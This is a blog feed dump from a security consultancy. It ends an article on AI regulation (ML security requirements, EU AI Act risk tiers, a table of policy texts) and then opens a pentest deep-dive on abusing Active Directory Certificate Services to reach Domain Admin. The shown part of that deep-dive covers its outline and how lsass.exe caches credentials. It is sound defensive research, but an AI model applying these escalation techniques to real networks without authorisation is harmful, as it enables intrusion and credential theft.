<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18112 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image5b.png" alt="" width="1431" height="641" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image5b.png 1431w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image5b-426x191.png 426w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image5b-71x32.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image5b-768x344.png 768w" sizes="auto, (max-width: 1431px) 100vw, 1431px" /></p>
<p><a href="#_ftnref6" name="_ftn1"></a></p>
<p style="text-align: center;"><em>Figure 5 Cybersecurity pillars</em></p>
<p>The following diagram shows different texts with their cyber components:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18114 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image6b.png" alt="" width="932" height="474" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image6b.png 932w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image6b-376x191.png 376w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image6b-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image6b-768x391.png 768w" sizes="auto, (max-width: 932px) 100vw, 932px" /></p>
<p style="text-align: center;"><em>Figure 6 Cyber specificities of some important texts</em></p>
<p style="text-align: justify;">In general, if we cross-reference the results of the Figure 6 with those of the study of all the texts, it appears that three requirements are particularly addressed:</p>
<ul style="text-align: justify;">
<li>Analyse the risks on ML systems considering their specificities, to identify both &#8220;classical&#8221; and ML-specific security measures. To do this, the following steps should generally be followed:
<ul>
<li>Understand the interests of attackers in attacking the ML system.</li>
<li>Identify the sensitivity of the data handled in the life cycle of the ML system (e.g., personal, medical, military etc.).</li>
<li>Framing the legal and intellectual property rights requirements (who owns the model and the data manipulated in the case of cloud hosting for example).</li>
<li>Understand where the different supporting assets of applications using Machine Learning are hosted throughout the life cycle of the Machine Learning system. For example, some applications may be hosted in the cloud, other on-premises. The cyber risk strategy should be adjusted accordingly (management of service providers, different flows etc.).</li>
<li>Understand the architecture and exposure of the model. Some models are more exposed than others to Machine Learning-specific attacks. For example, some models are publicly exposed and thus may be subject to a thorough reconnaissance phase by an attacker (e.g. by dragging inputs and observing outputs).</li>
<li>Include specific attacks on Machine Learning algorithms. There are three main types of attack: evasion attacks (which target integrity), oracle attacks (which target confidentiality) and poisoning attacks (which target integrity and availability).</li>
</ul>
</li>
<li>Track and monitor actions. This includes at least two levels:
<ul>
<li>Traceability (log of actions) to allow monitoring of access to resources used by the ML system.</li>
<li>More &#8220;business&#8221; detection rules to check that the system is still performing and possibly detect if an attack is underway on it.</li>
</ul>
</li>
<li>Have data governance. As explained in <em>Annex I : Machine Learning</em>, data is the raw material of ML systems. Therefore, a set of measures should be taken to protect it such as:
<ul>
<li>Ensure integrity throughout the entire data life cycle.</li>
<li>Secure access to data.</li>
<li>Ensure the quality of the data collected.</li>
</ul>
</li>
</ul>
<p style="text-align: justify;">It is likely that these points will be present in the first published regulations.</p>
<p> </p>
<h1>The AI Act: will Europe take the lead as with the RGPD?</h1>
<p>In the context of this study, we looked more closely at what has been done in the European Union and one text caught our attention.</p>
<p>The claim that there is no legislation yet is only partly true. In 2021, the European Commission published the AI Act <a href="#_ftn8" name="_ftnref1">[8]</a> : a legislative proposal that aims to address the risks associated with certain uses of AI. Its objectives, to quote the document, are to:</p>
<ul>
<li>Ensure that AI systems placed on the EU market and used are safe and respect existing fundamental rights legislation and EU values.</li>
<li>Ensuring legal certainty to facilitate investment and innovation in AI.</li>
<li>Strengthen governance and effective enforcement of existing legislation on fundamental rights and security requirements for AI systems.</li>
<li>Facilitate the development of a single market for legal, safe, and trustworthy AI applications and prevent market fragmentation.</li>
</ul>
<p>The AI Act is in line with the texts listed above. It adopts a risk-based approach with requirements that depend on the risk levels of AI systems. The regulation thus defines four levels of risk:</p>
<ul>
<li>AI systems with unacceptable risks.</li>
<li>AI systems with high risks.</li>
<li>AI systems with specific risks.</li>
<li>AI systems with minimal risks.</li>
</ul>
<p>Each of these levels is the subject of an article in the legislative proposal to define them precisely and to construct the associated regulation.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18116 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image7b.png" alt="" width="923" height="342" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image7b.png 923w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image7b-437x162.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image7b-71x26.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image7b-768x285.png 768w" sizes="auto, (max-width: 923px) 100vw, 923px" /></p>
<p style="text-align: center;"><em>Figure 7 The risk hierarchy in the IA Act<a href="#_ftn9" name="_ftnref1">[9]</a></em></p>
<p>For high-risk AI systems, the AI Act proposes cyber requirements along the lines of those presented above. For example, if we use the NIST-inspired categorization presented in Figure 5 The AI Act proposes the following requirements:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18118 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image8b.png" alt="" width="3761" height="2420" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image8b.png 3761w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image8b-297x191.png 297w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image8b-61x39.png 61w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image8b-768x494.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image8b-1536x988.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image8b-2048x1318.png 2048w" sizes="auto, (max-width: 3761px) 100vw, 3761px" /></p>
<p style="text-align: justify;">Even if the text is only a proposal (it may be adopted within 1 to 5 years), we note that the European Union is taking the lead by proposing a bold regulation to accompany the development of AI, as it is with personal data and the RGPD.</p>
<p> </p>
<h1>What future for AI regulation and cybersecurity?  </h1>
<p style="text-align: justify;">In recent years, numerous texts on the regulation of AI systems have been published. Although there is no legislation to date, the pressure is mounting with numerous texts, such as the AI Act, a European Union proposal, being published. These proposals provide requirements in terms of AI development strategy, ethics and cyber security. For the latter, the requirements mainly concern topics such as cyber risk management, monitoring, governance and data protection. Moreover, it is likely that the first regulations will propose a risk-based approach with requirements adapted according to the level of risk.</p>
<p style="text-align: justify;">In view of its analysis of the situation, Wavestone can only encourage the development of an approach such as that proposed by the AI Act by adopting a risk-based methodology. This means identifying the risks posed by projects and implementing appropriate security measures. This would allow us to get started and avoid having to comply with the law after the fact.</p>
<p> </p>
<h3>Annex I: Machine Learning</h3>
<p style="text-align: justify;">Machine Learning (ML) is defined as the opportunity for systems<a href="#_ftn10" name="_ftnref1">[10]</a> to learn to solve a task using data without being explicitly programmed to do so. Heuristically, an ML system learns to give an &#8220;adequate output&#8221;, e.g. does a scanner image show a tumour, from input data (i.e. the scanner image in our example).</p>
<p style="text-align: justify;">To quote ENISA<a href="#_ftn11" name="_ftnref2"><sup>[11]</sup></a> , the specific features on which Machine Learning is based are the following:</p>
<ul style="text-align: justify;">
<li>The data. It is at the heart of Machine Learning. Data is the raw material consumed by ML systems to learn to solve a task and then to perform it once in production.</li>
<li>A model. That is, a mathematical and algorithmic model that can be seen as a box with a large set of adjustable parameters used to give an output from input data. In a phase called learning, the model uses data to learn how to solve a task by automatically adjusting its parameters, and then once in production it will be able to complete the task using the adjusted parameters.</li>
<li>Specific processes. These specific processes address the entire life cycle of the ML system. They concern, for example, the data (processing the data to make it usable, for example) or the parameterisation of the model itself (how the model adjusts its parameters based on the data it uses).</li>
<li>Development tools and environments. For example, many models are trained and then stored directly on cloud platforms as they require a lot of resources to perform the model calculations.</li>
<li>Notably because new jobs have been created with the rise of Machine Learning, such as the famous Data Scientists.</li>
</ul>
<p style="text-align: justify;">Generally, the life cycle of a Machine Learning project can be broken down into the following stages:</p>
<p><a href="#_ftnref10" name="_ftn1"></a></p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18120 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image9b.png" alt="" width="378" height="318" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image9b.png 378w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image9b-227x191.png 227w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image9b-46x39.png 46w" sizes="auto, (max-width: 378px) 100vw, 378px" /></p>
<p style="text-align: center;"><em>Figure 8 Life cycle of a Machine Learning project<a href="#_ftn12" name="_ftnref2"><sup>[12]</sup></a></em></p>
<h3> </h3>
<h3>Annex 2 Non-exhaustive list of texts relating to AI and the framework for its development</h3>
<table style="border-style: solid; width: 101.478%; border-color: #000000; background-color: #ffffff;" width="652">
<tbody>
<tr>
<td style="width: 15.8779%;" width="105">
<p>Country or international entities</p>
</td>
<td style="width: 40%;" width="270">
<p>Title of the document<a href="#_ftn13" name="_ftnref1">[13]</a></p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Published by</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>Date of publication</p>
</td>
</tr>
<tr>
<td style="width: 15.8779%;" rowspan="4" width="105">
<p><strong>France </strong></p>
</td>
<td style="width: 40%;" width="270">
<p>Making sense of AI: for a national and European strategy</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Cédric Villani</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>March 2018</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>National AI Research Strategy</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Ministry of Higher Education, Research and Innovation, Ministry of Economy and Finance, General Directorate of Enterprises, Ministry of Health, Ministry of the Armed Forces, INRIA, DINSIC</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>November 2018</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>Algorithms: preventing the automation of discrimination</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Defenders of rights &#8211; CNIL</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>May 2020</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>AI safety</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>CNIL</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>April 2022</p>
</td>
</tr>
<tr>
<td style="width: 15.8779%;" rowspan="7" width="105">
<p><strong>Europe</strong></p>
</td>
<td style="width: 40%;" width="270">
<p>Artificial Intelligence for Europe</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>European Commission</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>April 2018</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>Ethical Guidelines for Trustworthy AI</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>High-level freelancers on artificial intelligence</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>April 2019</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>Building confidence in human-centred artificial intelligence</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>European Commission</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>April 2019</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>Policy and Investment Recommendations for Trustworthy AI</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>High-level freelancers on artificial intelligence</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>June 2019</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>White Paper &#8211; AI: a European approach based on excellence and trust</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>European Commission</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>February 2020</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>AI Act</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>European Commission</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>April 2021</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>Securing Machine Learning Algorithms</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>ENISA</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>November 2021</p>
</td>
</tr>
<tr>
<td style="width: 15.8779%;" width="105">
<p><strong>Belgium</strong></p>
</td>
<td style="width: 40%;" width="270">
<p>AI 4 Belgium</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>AI 4 Belgium Coalition</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>March 2019</p>
</td>
</tr>
<tr>
<td style="width: 15.8779%;" width="105">
<p><strong>Luxembourg</strong></p>
</td>
<td style="width: 40%;" width="270">
<p>Artificial intelligence: a strategic vision for Luxembourg</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Digital Luxembourg, Government of the Grand Duchy of Luxembourg</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>May 2019</p>
</td>
</tr>
<tr>
<td style="width: 15.8779%;" rowspan="9" width="105">
<p><strong>United States</strong></p>
</td>
<td style="width: 40%;" width="270">
<p>A Vision for Safety 2.0: Automated Driving Systems</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Department of Transportation</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>August 2017</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>Preparing for the Future of Transportation: Automated Vehicles 3.0</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Department of Transportation</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>October 2018</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>The AIM Initiative: A Strategy for Augmenting Intelligence Using Machines</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Department of Defense</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>January 2019</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>Summary of the 2018 Department of Defense Artificial Intelligence Strategy: Harnessing AI to Advance our Security and Prosperity</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Department of Defense</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>February 2019</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>The National Artificial Intelligence Research and Development Strategic Plan: 2019 Update</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>National Science &amp; Technology Council</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>June 2019</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>A Plan for Federal Engagement in Developing Technical Standards and Related Tools</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>NIST (National Institute of Standards and Technology)</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>August 2019</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>Ensuring American Leadership in Automated Vehicle Technologies: Automated Vehicles 4.0</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Department of Transportation</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>January 2020</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>Aiming for truth, fairness, and equity in your company&#8217;s use of AI</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Federal trade commission</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>April 2021</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>AI Risk Management framework: Initial Draft</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>NIST</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>March 2022</p>
</td>
</tr>
<tr>
<td style="width: 15.8779%;" rowspan="8" width="105">
<p><strong>United Kingdom</strong></p>
</td>
<td style="width: 40%;" width="270">
<p>AI Sector Deal</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Department for Business, Energy &amp; Industrial Strategy; Department for Digital, Culture, Media &amp; Sport</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>May 2018</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>Data Ethics Framework</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Department for Digital, Culture Media &amp; Sport</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>June 2018</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>Intelligent security tools: Assessing intelligent tools for cyber security</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>National Cyber Security Center</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>April 2019</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>Understanding Artificial Intelligence Ethics and Safety</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>The Alan Turing Institute</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>June 2019</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>Guidelines for AI Procurement</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Office for Artificial Intelligence</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>June 2020</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>A guide to using artificial intelligence in the public sector</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Office for Artificial Intelligence</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>January 2020</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>AI Roadmap</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>UK AI Council</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>January 2021</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>National AI Strategy</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>HM Government</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>September 2021</p>
</td>
</tr>
<tr>
<td style="width: 15.8779%;" rowspan="2" width="105">
<p><strong>Hong Kong</strong></p>
</td>
<td style="width: 40%;" width="270">
<p>High-level Principles on Artificial Intelligence</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Hong Kong Monetary Authority</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>November 2019</p>
</td>
</tr>
<tr>
<td style="width: 40%;" width="270">
<p>Reshaping banking witth Artificial Intelligence</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Hong Kong Monetary Authority</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>December 2019</p>
</td>
</tr>
<tr>
<td style="width: 15.8779%;" width="105">
<p><strong>OECD</strong></p>
</td>
<td style="width: 40%;" width="270">
<p>Recommendation of the Council on Artificial Intelligence</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>OECD</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>May 2019</p>
</td>
</tr>
<tr>
<td style="width: 15.8779%;" width="105">
<p><strong>United Nations</strong></p>
</td>
<td style="width: 40%;" width="270">
<p>System-wide Approach and Road map for Supporting Capacity Development on AI</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>UN System Chief Executives Board for Coordination</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>June 2019</p>
</td>
</tr>
<tr>
<td style="width: 15.8779%;" width="105">
<p><strong>Brazil</strong></p>
</td>
<td style="width: 40%;" width="270">
<p>Brazilian Legal Framework for Artificial Intelligence</p>
</td>
<td style="width: 29.6183%;" width="200">
<p>Brazilian congress</p>
</td>
<td style="width: 42.1374%;" width="76">
<p>September 2021</p>
</td>
</tr>
</tbody>
</table>
<p> </p>
<p> </p>
<p><a href="#_ftnref1" name="_ftn1"></a></p>
<p><a href="#_ftnref1" name="_ftn1">[1]</a> Summer school that brought together scientists such as the famous John McCarthy. However, the origins of AI can be attributed to different researchers. For example, in the literature, names like the computer scientist Alan Turing can also be found.</p>
<p><a href="#_ftnref2" name="_ftn2">[2]</a> For example, Amazon was accused in October 2021 of not complying with Article 22 of the GDPR. For more information: https:<a href="https://www.usine-digitale.fr/article/le-fonctionnement-de-l-algorithme-de-paiement-differe-d-amazon-violerait-le-rgpd.N1154412">//www.usine-digitale.fr/article/le-fonctionnement-de-l-algorithme-de-paiement-differe-d-amazon-violerait-le-rgpd.N1154412</a></p>
<p><a href="#_ftnref3" name="_ftn1">[3]</a> AI does not escape certain laws and regulations such as the RGPD for the countries concerned. We note for example this text from the CNIL: https://www.cnil.fr/fr/intelligence-artificielle/ia-comment-etre-en-conformite-avec-le-rgpd.</p>
<p><a href="#_ftnref4" name="_ftn2">[4]</a> Except for legislative proposals as we shall see later for the European Union. The case of Brazil is not treated in this article.</p>
<p><a href="#_ftnref5" name="_ftn2">[5]</a> This list is not exhaustive. The figures given give orders of magnitude on the main publishers of texts on the development of AI.</p>
<p>The texts on which the study is based are available in Annex 2 page 9</p>
<p><a href="#_ftnref6" name="_ftn1">[6]</a> We have chosen to merge the identification and protection phase for the purposes of this article.</p>
<p><a href="#_ftnref7" name="_ftn2">[7]</a> National Institute of Standards and Technology (NIST), Framework for improving Critical Infrastructure Cybersecurity, 16 April 2018, available at https://www.nist.gov/cyberframework/framework</p>
<p><a href="#_ftnref8" name="_ftn1">[8]</a> Available at: https:<a href="https://artificialintelligenceact.eu/the-act/">//artificialintelligenceact.eu/the-act/</a></p>
<p><a href="#_ftnref9" name="_ftn1">[9]</a> Loosely based on : Eve Gaumond, Artificial Intelligence Act: What is the European Approach for AI? in Lawfare, June 2021, available at: https:<a href="https://www.lawfareblog.com/artificial-intelligence-act-what-european-approach-ai">//www.lawfareblog.com/artificial-intelligence-act-what-european-approach-ai</a></p>
<p><a href="#_ftnref10" name="_ftn1">[10]</a> We talk about systems so as not to reduce AI.</p>
<p><a href="#_ftnref11" name="_ftn2">[11]</a><a href="https://www.enisa.europa.eu/publications/artificial-intelligence-cybersecurity-challenges"> https://www.enisa.europa.eu/publications/artificial-intelligence-cybersecurity-challenges</a></p>
<p><a href="#_ftnref12" name="_ftn2">[12]</a><a href="https://www.enisa.europa.eu/publications/securing-machine-learning-algorithms">  https://www.enisa.europa.eu/publications/securing-machine-learning-algorithms</a></p>
<p><a href="#_ftnref13" name="_ftn2">[13]</a> Note that some titles have been translated in English.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/06/artificial-intelligence-soon-to-be-regulated/">Artificial Intelligence soon to be regulated?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2022/06/artificial-intelligence-soon-to-be-regulated/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Microsoft ADCS – Abusing PKI in Active Directory Environment</title>
		<link>https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/</link>
		
		<dc:creator><![CDATA[Jean Marsault]]></dc:creator>
		<pubDate>Mon, 14 Jun 2021 09:20:24 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[ActiveDirectory]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[PKI]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15940</guid>

					<description><![CDATA[<p>Due to the ever-growing use of certificates in modern applications, a large number of Active Directory infrastructures make use of Public Key Infrastructures (PKI) features. These features are provided by Certification Authorities (CA) which are either external to Active Directory...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/">Microsoft ADCS – Abusing PKI in Active Directory Environment</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Due to the ever-growing use of certificates in modern applications, a large number of Active Directory infrastructures make use of Public Key Infrastructures (PKI) features. These features are provided by Certification Authorities (CA) which are either external to Active Directory or deeply coupled with it.</p>
<p>Similar intricate systems, such as Microsoft Exchange, have highlighted <a href="https://github.com/gdedrouas/Exchange-AD-Privesc">a significant number of ways</a> that someone with a user account on Active Directory and malicious intent can benefit from to take over Active Directory.</p>
<p>Active Directory Certificate Services (ADCS) have never really been under security scrutiny until a few years ago (by <a href="https://cyberstoph.org/posts/2019/12/an-introduction-to-golden-certificates/">C. Falta</a> and later <a href="https://blog.qdsecurity.se/2020/09/04/supply-in-the-request-shenanigans/">Q&amp;D Security</a>). We will therefore focus today on how similar techniques can be used to gain Domain Admins privileges.</p>
<p><strong>Note: </strong>this article assumes that the reader has a correct understanding of <a href="https://en.wikipedia.org/wiki/Active_Directory">Active Directory</a> and/or <a href="https://en.wikipedia.org/wiki/Public_key_infrastructure">PKI</a> operation; some sections may be skipped depending on the reader experience and level of expertise.</p>
<h2>Table of contents</h2>
<ol class="ol-toc">
<li><a href="#section-1">Active Directory pentest: mission briefing</a>
<ol class="ol-toc">
<li><a href="#section-1-1">Context and objectives</a></li>
<li><a href="#section-1-2">Elevating privileges in an AD environment</a>
<ol class="ol-toc">
<li><a href="#section-1-2-1">From lateral movement&#8230;</a></li>
<li><a href="#section-1-2-2">&#8230; to compromise graphs</a></li>
<li><a href="#section-1-2-3">Drafting the domain compromise graph</a></li>
</ol>
</li>
</ol>
</li>
<li><a href="#section-2">Deep dive into Microsoft ADCS</a>
<ol class="ol-toc">
<li><a href="#section-2-1">What is ADCS?</a></li>
<li><a href="#section-2-2">How does ADCS operate?</a>
<ol class="ol-toc">
<li><a href="#section-2-2-1">Active Directory: Public Key Services</a></li>
<li><a href="#section-2-2-2">ADCS server: local configuration</a></li>
<li><a href="#section-2-2-3">Mixing it all together!</a></li>
</ol>
</li>
<li><a href="#section-2-3">Kerberos, smartcard logon and certificate authentication</a>
<ol class="ol-toc">
<li><a href="#section-2-3-1">Kerberos 101</a></li>
<li><a href="#section-2-3-2">Introducing PKINIT</a></li>
<li><a href="#section-2-3-3">Using PKINIT in real life</a></li>
</ol>
</li>
</ol>
</li>
<li><a href="#section-3">Elevating privileges with ADCS</a>
<ol class="ol-toc">
<li><a href="#section-3-1">Exploiting an existing ADCS misconfiguration</a></li>
<li><a href="#section-3-2">The insidious case of EDITF_ATTRIBUTESUBJECTALTNAME2</a></li>
<li><a href="#section-3-3">Local administrator rights on ADCS server</a></li>
<li><a href="#section-3-4">ACL exploit on user objects (1)</a></li>
<li><a href="#section-3-5">ACL exploit on user objects (2)</a></li>
<li><a href="#section-3-6">ACL exploit on certificate templates</a></li>
<li><a href="#section-3-7">ACL exploit on enrollment services</a></li>
</ol>
</li>
<li><a href="#section-4">Current mitigations</a>
<ol class="ol-toc">
<li><a href="#section-4-1">Integration within the Active Directory tiering model</a>
<ol class="ol-toc">
<li><a href="#section-4-1-1">ESAE: Enhanced Security admin Environment</a></li>
<li><a href="#section-4-1-2">Moving ADCS objects up one tier!</a></li>
</ol>
</li>
<li><a href="#section-4-2">Proper handling of corner cases</a>
<ol class="ol-toc">
<li><a href="#section-4-2-1">Context example</a></li>
<li><a href="#section-4-2-2">Setting the manager approval</a></li>
<li><a href="#section-4-2-3">Choosing your CA managers</a></li>
</ol>
</li>
<li><a href="#section-4-3">Adding the detection layer</a></li>
</ol>
</li>
</ol>
<h2></h2>
<p>&nbsp;</p>
<h1><a name="section-1"></a>Active Directory pentest: mission briefing</h1>
<p>This article will tackle Microsoft ADCS and its potential issues under the specific prism of an Active Directory pentest, but the conclusions will be applicable on a broader scope: red team assignments, ADCS hardening, etc.</p>
<p>&nbsp;</p>
<h2><a name="section-1-1"></a>Context and objectives</h2>
<p>An Active Directory pentest is a type of assignment where the sponsor of the audit is asking the pentester to interact with the audit target’s infrastructure to find ways of gaining control of Active Directory. The auditor usually performs this task under the two following approaches:</p>
<ul>
<li>The <span style="color: #005572;"><strong>black box approach</strong></span>: it simulates an attacker who a<span style="color: #000000;">lready has <strong>physical access</strong> to the target’s premises (and consequently to network plugs and physical devices); the goal is often to <strong>progress</strong> <strong>towards the grey box approach</strong>, leveraging unencrypted hard drives, credential sniffing, guest access and misconfigured applications on vulnerable assets;</span></li>
<li>The <span style="color: #005572;"><strong>grey box approach</strong></span>: the pentester acts as a malicious or compromised user, within the context of its domain session, i.e. being able to execute arbitrary code as this user.</li>
</ul>
<p>In our case, we will focus on the grey box approach, therefore consid<span style="color: #000000;">ering a <strong>malicious party</strong> who already has the <strong>ability of interacting with the domain</strong> as a standard user with no specific rights. The goal of the pentester would be to find a way to leverage the current rights of the user on the domain to <strong>compromise high-privileged principals</strong>, frequently the members of the <strong>Domain Admins</strong> group.</span></p>
<p>&nbsp;</p>
<h2><a name="section-1-2"></a>Elevating privileges in an AD environment</h2>
<h3><a name="section-1-2-1"></a>From lateral movement &#8230;</h3>
<p>Historically, Windows has been built as a <strong>user-friendly operating system</strong>, which means that it will do its best to <strong>minimize the number of situations where a user must type its password</strong>. In terms of user experience, most users will only type their password to unlock their workstation. System administrators may have to type it another time when using the Remote Desktop Protocol (RDP), but they don’t expect it to type it again when connected to the remote server and/or interacting with domain resources.</p>
<p>Under the hood, it means that Windows offers <strong>Single-Sign-On</strong> (SSO) features, which allow the system to authenticate as the user to other systems or applications. This sleight of hand is performed by the lsass.exe process, which caches usable credentials for the user in memory. There are two types of credentials that can be cached:</p>
<ul>
<li>Authenticators <strong>derived </strong>from credentials, e.g. the password itself, or its NT hash</li>
<li>Authenticators <strong>retrieved </strong>thanks to other means, e.g. Kerberos tickets</li>
</ul>
<p>The credentials are cached into the memory of the <code>lsass.exe</code> process running with the <a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control">System integrity level</a>. Either processes running as <code>SYSTEM</code>, or processes with <code>SeDebugPrivilege</code> enabled (which by default can only be enabled by local administrators) would be able to peek into <code>lsass.exe</code> memory.</p>
